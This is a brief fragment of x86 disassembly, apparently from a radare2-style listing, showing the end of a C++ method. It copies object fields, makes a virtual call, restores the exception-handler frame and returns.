mov eax, dword [ebx + 0xc]
mov dword [edi + 0xc], eax
mov eax, dword [edi + 0x10]
call dword [eax + 0x44]
lea eax, [ebx + 0x10]
push eax
lea ecx, [edi + 0x10]
call fcn.00403220
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret